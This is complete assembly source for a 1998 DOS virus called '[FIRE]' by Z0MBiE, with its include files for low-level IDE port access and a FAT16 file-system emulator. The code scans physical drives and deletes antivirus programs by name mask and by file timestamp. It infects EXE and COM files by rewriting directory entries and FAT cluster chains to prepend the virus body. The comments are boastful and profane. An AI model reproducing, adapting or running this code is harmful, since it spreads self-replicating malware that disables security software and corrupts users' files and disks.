ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ ;----------------------------------------------------------------------------- ; [FIRE] FAT16 Independent Replicative Emulator Copyright (c) 1998 Z0MBiE ; Release 1.00[BETA] *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A *** ; Thanx to S.S.R. & LordASD HomePage: http://www.chat.ru/~z0mbie ;----------------------------------------------------------------------------- ; ; THIS VIRUS TECHNOLOGY DEDICATED TO 29A GROUP ; ; *** Program *** ; ; 1. Using IDE IO-port access method find all physical IDE drives ; 2. For each physical drive find all logical disks with FAT16 system ; 3. For each logical disk scan directory tree with selected ; max directory level ; 5. Delete all AV-files (by filemasks), including file name/cluster chain ; 6. Infect each EX?/CO? file (with selected min. size) ; ; *** Infection Method *** ; ; 1. Allocate some free cluster(s) in the FAT ; 2. FAT.LastOurCluster <- DirEntry.StartCluster ; 3. DirEntry.StartCluster <- 1stOurCluster ; DEBUG equ YES ; debug mode IFDEF DEBUG START_DRIVE equ 'E' ; start scanning ELSE ; from logical drive START_DRIVE equ 'C' ENDIF virsize equ 16384 ; total virus size o equ (word ptr 0) ; to access DWORDs s equ (word ptr 2) exe_struc struc ; dos exe header exe_mz dw ? ; MZ/ZM exe_last512 dw ? exe_num512 dw ? exe_relnum dw ? exe_headersize dw ? ; in PAR exe_minmem dw ? exe_maxmem dw ? exe_ss dw ? exe_sp dw ? exe_checksum dw ? ; 0 exe_ip dw ? exe_cs dw ? exe_relofs dw ? exe_ovrnum dw ? ; 0 db 32 dup (?) exe_neptr dd ? ends model tiny ; header p386 jumps locals __ code segment byte public use16;code segment assume cs:code, ds:code, ss:code, es:code org 100h start: virus: db 'MZ' ; lets generate .exe program dw 0 dw virsize / 512 dw 0 dw 0 dw virmemory dw virmemory dw 0fff0h dw exe_endofstack dw 0 dw exe_entrypoint dw 0fff0h dw 40h dw 0 db 32 dup (0) dd 0 C_INFECTED_ID equ 1234h ; infected file ID infected_id dw C_INFECTED_ID FTYPE db ? exe_entrypoint: mov ax, 1600h ; windows :-? int 2fh or al, al ; dos jz DOS_START cmp al, 4 ; win95... je WIN4_START ; win3, etc. EXIT: mov ax, 4c00h ; exit to DOS int 21h WIN4_START: jmp EXIT ; not implemented yet win_msg db 'This program requires Microsoft Windows.',13,10,'$' DOS_START: mov ah, 9 ; fucking message lea dx, win_msg int 21h IFDEF DEBUG ; initialize PUTCHAR mov cs:putchar_ptr, offset dos_putchar ENDIF call dos_alloc ; allocate memory (dos) jc EXIT call main ; main subprogram call dos_dealloc ; deallocate memory jmp EXIT ; exit main: mov level0_drive, 0 ; scan HD: 0,1,2,3 __1: call process_0 inc level0_drive ; bit0 = master/slave cmp level0_drive, 3 ; bit1 = primary/secondary jbe __1 ret process_0: call level0_init ; initialize hardware jc __exit IFDEF DEBUG ; fucking message movzx ax, level0_drive add al, '0' push ax call printf db 'Processing physical drive %c\n$' ENDIF call level2_init ; recursive scan for logical jc __exit ; disks mov cx, START_DRIVE-'C' ; start drive __1: cmp cx, level2_drivecount ; cycle jae __exit push cx IFDEF DEBUG ; fucking message mov ax, cx add al, 'C' push ax call printf db 'Processing logical drive %c:\n$' ENDIF mov level2_drive, cx ; initialize "basesector" call level2_initdrive call level3_init ; initialize level3-access jc __2 IFDEF DEBUG ; fucking message call printf db 'Compatibility test done\n$' ENDIF call rulez_forever ; best subprogram in the world __2: IFDEF DEBUG ; fucking message call printf db 'Drive processed\n$' ENDIF pop cx ; end of cycle inc cx jmp __1 __exit: ret ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; recursive scan directory tree rulez_forever: IFDEF DEBUG ; fucking message call printf db 'Executing RULEZ_FOREVER\n$' ENDIF mov _rec, 0 ; recurse level mov bp, ROOT ; start from ROOT directory call process_dir IFDEF DEBUG ; fucking message call printf db 'RULEZ_FOREVER Executed\n$' ENDIF ret ; this is recursive subprogram process_dir: IFDEF DEBUG ; fucking message push _rec push bp call printf db 'Executing PROCESS_DIR [cluster %iw04h0], RECURSIVE %iw00d\n$' ENDIF call __read ; read directory cluster (bp) lgs si, dir_ptr ; gs:si = directory cluster mov ecx, level3_sectpercluster ; cx=#direntries shl cx, 4 __cycle: ; check for valid filename cmp gs:[si].direntry_name, char_DELETED je __cont cmp gs:[si].direntry_name, char_NOFILE je __exit ; check for AV filename, CF=1 - file is fucked call TRY_TO_FUCK_FILE jc __cont ; zero-length file or directory link to ROOT cmp gs:[si].direntry_cluster, 0 ; zero-file je __cont ; file attribute mov al, gs:[si].direntry_attr test al, fa_volumeid ; volumeid, long-filename jnz __cont test al, fa_directory ; directory? jnz __directory ; yes! file! MINSIZE equ 1024 cmp gs:[si].direntry_size, MINSIZE ; check size jb __cont ; normal attributes? test al, not (fa_archive + fa_hidden + fa_system + fa_readonly) jz __file __cont: add si, 32 ; cycle loop __cycle ; flush directory cluster if modified call TRY_TO_FLUSH_DIR_CACHE ; root? - exit! cmp bp, ROOT je __exit ; READ NEXT DIRECTORY CLUSTER mov bx, bp ; get nextcluster value call level3_cluster_get cmp ax, EOF ; end of directory? je __exit mov bp, ax ; process next dircluster jmp process_dir __exit: ; flush directory cluster if modified call TRY_TO_FLUSH_DIR_CACHE ret __file: IFDEF DEBUG ; fucking message push word ptr gs:[si].direntry_cluster push gs push si call printf db '%s11 %iw04h0\n$' ENDIF ; get extension mov ax, word ptr gs:[si].direntry_ext cmp ax, 'XE' je __ext_ok cmp ax, 'OC' je __ext_ok jmp __cont __ext_ok: IFDEF DEBUG ; fucking message call printf db 'Extension checked - OK\n$' ENDIF ; read 1st file cluster pusha mov ax, gs:[si].direntry_cluster mov level3_cluster, ax mov level3_count, 1 push buf_ptr pop level3_ptr call level3_read popa ; fs:bx = @file cluster lfs bx, buf_ptr ; "INFECTED" id ? cmp word ptr fs:[bx + infected_id-virus], C_INFECTED_ID je __cont ; determine com or exe file cmp fs:[bx].exe_mz, 'MZ' je __mz cmp fs:[bx].exe_mz, 'ZM' je __mz mov FTYPE, 'c' jmp __not_mz __mz: mov FTYPE, 'e' __not_mz: IFDEF DEBUG ; hehe... be curefull! pusha lea si, fs:[bx].byte ptr 20h lea di, z0mbie_id mov cx, z0mbie_id_len segfs rep cmpsb popa jne __cont ENDIF __super_infect: IFDEF DEBUG ; fucking message call printf db '*** Executing SUPER_INFECT ***\n$' ENDIF ; now infect fucking file... pushad ; calculate bytes per cluster mov eax, level3_sectpercluster shl eax, 9 mov __cluster_size, eax ; calculate # of clusters needed xor eax, eax __rep: inc eax mov ecx, eax imul ecx, __cluster_size cmp ecx, virsize jb __rep mov __clust_need, eax ; increase file size add gs:[si].direntry_size, ecx ; lfs bx, buf_ptr ; add ecx, fs:[bx].exe_neptr ; mov neptr, ecx ; store dircluster mov bx, gs:[si].direntry_cluster mov __dircluster, bx ; pointer to virus mov level3_ptr.o, offset virus mov level3_ptr.s, cs ; NOW CREATE CLUSTER CHAIN xor bx, bx ; no cluster __next_cluster: call __find_free_cluster ; find free cluster jc __infected mov ax, __freecluster ; write virus part mov level3_cluster, ax ; to this cluster mov level3_count, 1 call level3_write mov eax, __cluster_size ; increase virus pointer shr eax, 4 ; by cluster size add level3_ptr.s, ax mov ax, __freecluster or bx, bx jnz __not1st mov __1stcluster, ax ; 1st cluster mov bx, ax ; temporary init with EOF mov ax, EOF __not1st: call level3_cluster_set ; used to create links mov bx, __freecluster dec __clust_need ; end of cycle jnz __next_cluster mov ax, __dircluster ; set link to dircluster call level3_cluster_set mov ax, __1stcluster ; set new dircluster mov gs:[si].direntry_cluster, ax mov CACHE_MODIFIED, 1 ; of coz cache now modified __infected: popad ; thats all!!! jmp __cont __1stcluster dw ? ; some vars used in infection __cluster_size dd ? __clust_need dd ? __dircluster dw ? __freecluster dw ? __find_free_cluster: pushad ; subprogram to find free cluster mov bx, 2 ; scan all clusters __q: call level3_cluster_get or ax, ax jz __found inc bx cmp bx, word ptr level3_totalclusters jae __no_free_cluster jmp __q __found: mov __freecluster, bx popad clc ; sucess ret __no_free_cluster: popad stc ; mustdie ret ; if found directory __directory: IFDEF DEBUG ; fucking message push word ptr gs:[si].direntry_cluster push gs push si call printf db '%s11 %iw04h0% \n$' ENDIF ; '.' and '..' is sux cmp gs:[si].direntry_name, '.' je __cont ; check for max recurse level MAX_RECURSIVE equ 5 cmp _rec, MAX_RECURSIVE jae __cont ; flush cache if modified call TRY_TO_FLUSH_DIR_CACHE ; scan directory pushad inc _rec mov bp, gs:[si].direntry_cluster call process_dir dec _rec popad ; read directory cluster (becoz its modified) call __read IFDEF DEBUG ; fucking message call printf db 'Back from recursive subprogram\n$' ENDIF jmp __cont ; read directory cluster __read: mov level3_cluster, bp mov level3_count, 1 push dir_ptr pop level3_ptr call level3_read mov CACHE_MODIFIED, 0 ret ; write directory cluster if modified TRY_TO_FLUSH_DIR_CACHE: cmp CACHE_MODIFIED, 0 je __exit mov CACHE_MODIFIED, 0 mov level3_cluster, bp mov level3_count, 1 push dir_ptr pop level3_ptr call level3_write __exit: ret ; --------------------------------------------------------------------------- ; input: GS:[SI] ; output: CF=1 - file fucked ; scan for AV-files TRY_TO_FUCK_FILE: pushad ; hehe.. DRWEB 4.00! cmp gs:[si].direntry_time, 2000h ; 4:00 am je __fuck_it lea di, fucked __next_f: pusha xor bx, bx __next: mov al, [bx+di] cmp al, '?' je __equ mov ah, gs:[si+bx] cmp ah, 'a' jb __cmp cmp ah, 'z' ja __cmp add ah, 'A'-'a' __cmp: cmp al, ah jne __rt __equ: inc bx cmp bx, 11 jb __next ; e __rt: popa je __fuck_it add di, 11 cmp di, offset fucked_end jb __next_f popad clc ret ; FUCK AV-file __fuck_it: mov CACHE_MODIFIED, 1 mov bx, gs:[si].direntry_cluster ; kill namme mov di, si mov cx, 32 __1: mov byte ptr gs:[di], 0 inc di loop __1 mov gs:[si].direntry_name, char_DELETED or bx, bx ; zero-file je __eof ; kill cluster links __killnext: call level3_cluster_get pusha xor ax, ax call level3_cluster_set popa cmp ax, EOF je __eof mov bx, ax jmp __killnext __eof: popad stc ret ; --------------------------------------------------------------------------- ; AV-files - KILL`EM ALL !!! fucked: db 'ANTI???????' db 'DRWEB??????' db 'WEB?????EXE' db 'AIDS???????' db 'AVP????????' db 'SCAN???????' db 'ADIN???????' db 'FPROT??????' db 'TBAV???????' db 'VIR????????' db '????????327' db '????????AVC' db '????????WEB' db '????????MS ' db '????????CPS' fucked_end: ; --------------------------------------------------------------------------- IFDEF DEBUG ; dont kill your hd, baby... z0mbie_id db 'Z0MBiE#ID1234' z0mbie_id_len equ $-z0mbie_id ENDIF ; --------------------------------------------------------------------------- ; never change it, sucker... db 13,10 db '-----------------------------------------------------------------------------',13,10 db ' [FIRE] FAT16 Independent Replicative Emulator Copyright (c) 1998 Z0MBiE ',13,10 db ' Release 1.00[BETA] *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A *** ',13,10 db ' Thanx to S.S.R. & LordASD HomePage: http://www.chat.ru/~z0mbie ',13,10 db '-----------------------------------------------------------------------------',13,10 db 13,10 ; --------------------------------------------------------------------------- include malloc.inc ; <- dos memory allocation include fatsys.inc ; <- file system emulator IFDEF DEBUG ; <- screen output routines include stdio.inc ENDIF ; end of virus (EOV) mark org start+virsize-3 db 'EOV' codeend: ; --------------------------------------------------------------------------- datastart: ; stack even db 1024 dup (?) exe_endofstack: ; variables include FATSYS.VAR _rec dw ? ; recurse level CACHE_MODIFIED db ? ; flag ; thats all dataend: virmemory equ (dataend-datastart+15)/16 ; --------------------------------------------------------------------------- code ends end start ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[malloc.asm]ÄÄ dos_alloc: mov ah, 48h mov bx, 2000h int 21h jc __exit mov dosalloc_seg, ax mov dir_ptr.o, 0 mov dir_ptr.s, ax add ax, 1000h mov buf_ptr.o, 0 mov buf_ptr.s, ax __exit: ret dos_dealloc: mov ah, 49h mov es, dosalloc_seg int 21h push cs pop es ret ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[malloc.inc]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.inc]ÄÄ ; filesystem access unit ; Access Address ; Method Type Target Start ; -------- -------- ----------- ----------- ; Level 0: IO-Ports Physical HD c=0:h=0:s=1 ; Level 1: Level0 Logical HD s=0 ; Level 2: Level1 Logical Partition s=0 ; Level 3: Level2 Logical FAT,Cluster cluster=2 ;MIN_SECT_PER_CLUST equ 8 ; 4k MIN MAX_SECT_PER_CLUST equ 128 ; 64k MAX direntry_name equ (byte ptr 00h) ; directory entry direntry_ext equ (byte ptr 08h) direntry_attr equ (byte ptr 0Bh) direntry_time equ (word ptr 16h) direntry_cluster equ (word ptr 1Ah) direntry_size equ (dword ptr 1Ch) char_DELETED equ 0E5h ; some constants char_NOFILE equ 0 fa_readonly equ 00000001b ; file attributes fa_hidden equ 00000010b fa_system equ 00000100b fa_volumeid equ 00001000b fa_directory equ 00010000b fa_archive equ 00100000b ROOT equ 0 ; root dir cluster EOF equ -1 ; EOF cluster ; --------------------------------------------------------------------------- level0_getcmdport: mov dx, 1F7h ; master test level0_drive, 10b jz __1 mov dx, 177h ; slave __1: ret level0_calcdrive: xor al, al ; primary/secondary bt word ptr level0_drive, 0 rcl al, 5 or al, 10100000b ret level0_init: call level0_getcmdport __1: in al, dx ; busy test al, 00000001b jnz __error test al, 10000000b jnz __1 dec dx ; drive # call level0_calcdrive out dx, al inc dx ; ready xor cx, cx __2: dec cx jz __error in al, dx test al, 00000001b jnz __error test al, 01000000b jz __2 mov al, 0ECh ; indentify drive out dx, al __3: in al, dx ; data test al, 00000001b jnz __error test al, 00001000b jz __3 sub dl, 7 ; read lea di, level0_driveinfo mov cx, 256/2 rep insw clc ret __error: stc ret level0_read: call io_mask call level0_rw jc __error mov al, 20h ; read out dx, al mov si, level0_count les di, level0_ptr __3: in al, dx ; data test al, 00000001b jnz __error test al, 00001000b jz __3 sub dl, 7 mov cx, 512/2 ; read rep insw add dl, 7 dec si jnz __3 push cs pop es call io_unmask clc ret __error: call io_unmask stc ret level0_write: call io_mask call level0_rw jc __error mov al, 30h ; write out dx, al mov di, level0_count les si, level0_ptr __3: in al, dx ; ready? test al, 00000001b jnz __error test al, 00001000b jz __3 sub dl, 7 mov cx, 512/2 ; write seges rep outsw add dl, 7 dec di jnz __3 push cs pop es call io_unmask clc ret __error: call io_unmask stc ret io_mask: in al, 21h mov level0_port21, al in al, 0A1h mov level0_portA1, al mov al, 0FFh out 21h, al out 0A1h, al ret io_unmask: mov al, level0_port21 out 21h, al mov al, level0_portA1 out 0A1h, al ret level0_rw: call level0_getcmdport __1: in al, dx test al, 00000001b jnz __error test al, 10000000b jnz __1 sub dl, 5 ; sector count mov al, byte ptr level0_count out dx, al inc dx ; sector mov al, byte ptr level0_sector out dx, al inc dx ; cylinder - lo mov ax, level0_cylinder out dx, al inc dx ; cylinder - hi mov al, ah out dx, al inc dx ; drive # call level0_calcdrive or al, byte ptr level0_head out dx, al inc dx ; ready __2: in al, dx test al, 00000001b jnz __error test al, 01000000b jz __2 clc ret __error: stc ret ; --------------------------------------------------------------------------- level1_read: call level1_rw call level0_read ret level1_write: call level1_rw call level0_write ret level1_rw: push level1_ptr pop level0_ptr mov ax, level1_count mov level0_count, ax mov eax, level1_sector cdq movzx ecx, level0_max_sector div ecx inc dx mov level0_sector, dx xor edx, edx movzx ecx, level0_max_head div ecx mov level0_head, dx mov level0_cylinder, ax ret ; --------------------------------------------------------------------------- level2_init: mov level2_drivecount, 0 lea di, level2_drivestart xor ebp, ebp call level2_recscan clc ret level2_recscan: call __read cmp level2_mbr.word ptr 512-2, 0AA55h jne __exit lea si, level2_mbr + 512 - 2 - 64 mov cx, 4 __scan_ptable: push cx push si mov al, [si].byte ptr 4 ; cmp al, 1 ; fat12 ; je __found_drive cmp al, 4 ; fat16 je __found_drive cmp al, 6 ; bigdos je __found_drive cmp al, 5 ; extended je __found_ext __scan_next: pop si pop cx cmp level2_drivecount, 26 jae __exit add si, 16 loop __scan_ptable __exit: ret __read: pushad mov level1_sector, ebp mov level1_count, 1 mov level1_ptr.o, offset level2_mbr mov level1_ptr.s, cs call level1_read popad ret __found_drive: mov eax, [si].dword ptr 8 add eax, ebp ; scan drives to avoid recursive extended pusha lea di, level2_drivestart mov cx, level2_drivecount repnz scasd popa jz __scan_next inc level2_drivecount stosd jmp __scan_next __found_ext: push ebp add ebp, [si].dword ptr 8 call level2_recscan pop ebp call __read jmp __scan_next level2_initdrive: mov bx, level2_drive shl bx, 2 push level2_drivestart[bx] pop level2_basesector ret level2_read: call level2_rw call level1_read ret level2_write: call level2_rw call level1_write ret level2_rw: push level2_ptr pop level1_ptr mov eax, level2_sector add eax, level2_basesector mov level1_sector, eax push level2_count pop level1_count ret ; --------------------------------------------------------------------------- level3_init: mov level2_sector, 0 mov level2_count, 1 mov level2_ptr.o, offset level3_boot mov level2_ptr.s, cs call level2_read jc __error lea bx, level3_boot cmp [bx].word ptr 512-2, 0AA55h jne __error lea si, [bx].byte ptr 36h lea di, FAT16_ID mov cx, 8 rep cmpsb je __FAT16 jmp __error __FAT16: movzx eax, [bx].word ptr 0Eh mov level3_reserved, eax xor eax, eax mov al, [bx].byte ptr 0Dh mov level3_sectpercluster, eax ; cmp eax, MIN_SECT_PER_CLUST ; jb __error cmp eax, MAX_SECT_PER_CLUST ja __error mov al, [bx].byte ptr 10h mov level3_fatcopies, eax mov ax, [bx].word ptr 11h mov level3_rootdirentries, eax shl eax, 5 add eax, 511 shr eax, 9 mov level3_rootdirsectors, eax cmp eax, MAX_SECT_PER_CLUST ja __error movzx eax, [bx].word ptr 16h mov level3_sectperfat, eax mov eax, level3_sectperfat imul eax, level3_fatcopies add eax, level3_reserved mov level3_rootstart, eax add eax, level3_rootdirsectors mov level3_datastart, eax movzx eax, [bx].word ptr 13h or ax, ax jnz __1 mov eax, [bx].dword ptr 20h __1: mov level3_totalsectors, eax sub eax, level3_datastart xor edx, edx mov ecx, level3_sectpercluster div ecx mov level3_totalclusters, eax mov level3_cachesector, -1 clc ret __error: stc ret ; input: bx=cluster ; output: ax=value level3_cluster_get: call level3_read_fat_sector push bx call level3_calcfat_LO mov ax, word ptr level3_cache[bx] pop bx ret ; input: bx=cluster ; ax=value level3_cluster_set: call level3_read_fat_sector push bx call level3_calcfat_LO mov word ptr level3_cache[bx], ax pop bx call level3_write_fat_sector ret level3_calcfat_HI: movzx eax, bx ; fat sector # shr eax, 8 ret level3_calcfat_LO: and bx, 255 shl bx, 1 ret ; input: ebx=cluster # level3_read_fat_sector: pushad call level3_calcfat_HI add eax, level3_reserved ; partition sector # cmp level3_cachesector, eax je __skip mov level3_cachesector, eax mov level2_sector, eax mov level2_count, 1 mov level2_ptr.o, offset level3_cache mov level2_ptr.s, cs call level2_read __skip: popad ret level3_write_fat_sector:pushad call level3_calcfat_HI add eax, level3_reserved ; partition sector # mov level2_sector, eax mov level2_count, 1 mov level2_ptr.o, offset level3_cache mov level2_ptr.s, cs mov ecx, level3_fatcopies __1: pushad call level2_write popad mov eax, level3_sectperfat add level2_sector, eax loop __1 popad ret level3_read: pushad call level3_calc call level2_read popad ret level3_write: pushad call level3_calc call level2_write popad ret level3_calc: push level3_ptr pop level2_ptr cmp level3_cluster, ROOT je __root movzx eax, level3_count imul eax, level3_sectpercluster mov level2_count, ax movzx eax, level3_cluster sub eax, 2 xor edx, edx mov ecx, level3_sectpercluster mul ecx add eax, level3_datastart mov level2_sector, eax ret __root: mov eax, level3_rootdirsectors mov level2_count, ax mov eax, level3_rootstart mov level2_sector, eax ret ; --------------------------------------------------------------------------- FAT16_ID db 'FAT16 ' ; --------------------------------------------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.inc]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[stdio.inc]ÄÄ ; \n 13,10 ; $ = end of line ; %% % ; \\ \ ; %c character ; %sNN string (DWORD PTR) ; %sz ascii-z string (DWORD PTR) ; %i[-]bNNb? ?=lchar, used only if NN <> 0 ; w d ; d h ; ; --------------------------------------------------------------------------- _get_char_ macro segcs lodsb cmp al, '$' je __exit endm printf: mov cs:_save_si, si pop si mov cs:_save_eax, eax mov cs:_save_cx, cx cld __getchar: _get_char_ cmp al, '%' je __control_1 cmp al, '\' je __control_2 __putchar: call cs:putchar_ptr jmp __getchar __exit: mov eax, cs:_save_eax mov cx, cs:_save_cx push si mov si, cs:_save_si ret __control_1: _get_char_ cmp al, '%' je __putchar cmp al, 'c' je __c cmp al, 's' je __s cmp al, 'i' je __n jmp __putchar __s: _get_char_ cmp al, 'z' je __sz sub al, '0' mov ah, al _get_char_ sub al, '0' aad 10 movzx eax, ax mov cs:_len, eax mov cs:_s_si, si mov cs:_s_ds, ds pop si pop ds mov ecx, cs:_len jcxz __a1 __a2: lodsb call cs:putchar_ptr loop __a2 __a1: mov si, cs:_s_si mov ds, cs:_s_ds jmp __getchar __sz: mov cs:_s_si, si mov cs:_s_ds, ds pop si pop ds __b2: lodsb or al, al jz __b1 call cs:putchar_ptr jmp __b2 __b1: mov si, cs:_s_si mov ds, cs:_s_ds jmp __getchar __c: pop ax call cs:putchar_ptr jmp __getchar __n: mov cs:_sign, 0 _get_char_ cmp al, '-' je __ns jmp __nu __ns: mov cs:_sign, 1 _get_char_ __nu: cmp al, 'b' je __b cmp al, 'w' je __w cmp al, 'd' je __d jmp __putchar __b: cmp cs:_sign, 1 je __bs pop ax movzx ax, al movzx eax, ax jmp __i __w: cmp cs:_sign, 1 je __ws pop ax movzx eax, ax jmp __i __d: cmp cs:_sign, 1 je __ds pop eax jmp __i __bs: pop ax movsx ax, al movsx eax, ax jmp __i __ws: pop ax movsx eax, ax jmp __i __ds: pop eax jmp __i __i: mov cs:_number, eax _get_char_ sub al, '0' mov ah, al _get_char_ sub al, '0' aad 10 movzx eax, ax mov cs:_len, eax _get_char_ mov cs:_base, 2 cmp al, 'b' je __ok mov cs:_base, 10 cmp al, 'd' je __ok mov cs:_base, 16 cmp al, 'h' je __ok jmp __putchar __ok: cmp cs:_len, 0 je __ok2 _get_char_ mov cs:_lchar, al __ok2: call write_number jmp __getchar __control_2: _get_char_ cmp al, 'n' je __crlf jmp __putchar __crlf: mov al, 13 call cs:putchar_ptr mov al, 10 call cs:putchar_ptr jmp __getchar ; --------------------------------------------------------------------------- dos_putchar: pusha mov ah, 2 mov dl, al int 21h popa ret boot_putchar: pusha mov ah, 0Eh mov bx, 7 int 10h popa ret ; --------------------------------------------------------------------------- write_number: pushad mov eax, cs:_number cmp cs:_sign, 0 je __0 or eax, eax jge __0 mov cs:_sign, '-' dec cs:_len neg eax __0: mov ebx, cs:_base xor esi, esi __1: xor edx, edx div ebx push edx inc esi or eax, eax jnz __1 cmp cs:_sign, '-' jne __6 cmp cs:_len, 0 je __6a cmp cs:_lchar, ' ' je __6 __6a: mov al, '-' call cs:putchar_ptr __6: mov ecx, cs:_len sub ecx, esi jle __3 __2: mov al, cs:_lchar call cs:putchar_ptr loop __2 __3: cmp cs:_sign, '-' jne __5 cmp cs:_lchar, ' ' jne __5 mov al, '-' call cs:putchar_ptr __5: mov ecx, esi __4: pop ebx mov al, cs:hexchar[bx] call cs:putchar_ptr loop __4 popad ret ; --------------------------------------------------------------------------- hexchar db '0123456789ABCDEF' ; --------------------------------------------------------------------------- putchar_ptr dw ? _s_si dw ? _s_ds dw ? _save_eax dd ? _save_cx dw ? _save_si dw ? _sign db ? _number dd ? _base dd ? _len dd ? _lchar db ? ; --------------------------------------------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[stdio.inc]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.var]ÄÄ ; --------------------------------------------------------------------------- level0_drive db ? level0_driveinfo db 256 dup (?) level0_max_cylinder equ level0_driveinfo.word ptr 02h level0_max_head equ level0_driveinfo.word ptr 06h level0_max_sector equ level0_driveinfo.word ptr 0Ch level0_cylinder dw ? level0_head dw ? level0_sector dw ? level0_count dw ? level0_ptr dd ? level0_port21 db ? level0_portA1 db ? ; --------------------------------------------------------------------------- level1_sector dd ? level1_count dw ? level1_ptr dd ? ; --------------------------------------------------------------------------- level2_drivecount dw ? level2_drivestart dd 26 dup (?) level2_drive dw ? level2_basesector dd ? level2_sector dd ? level2_count dw ? level2_ptr dd ? level2_mbr db 512 dup (?) ; --------------------------------------------------------------------------- level3_boot db 512 dup (?) level3_reserved dd ? level3_sectperfat dd ? level3_fatcopies dd ? level3_rootdirentries dd ? level3_rootdirsectors dd ? level3_sectpercluster dd ? level3_rootstart dd ? level3_datastart dd ? level3_totalsectors dd ? level3_totalclusters dd ? level3_cachesector dd ? level3_cache db 512 dup (?) level3_cluster dw ? level3_count dw ? level3_ptr dd ? ; --------------------------------------------------------------------------- dosalloc_seg dw ? dir_ptr dd ? buf_ptr dd ? ; --------------------------------------------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.var]ÄÄ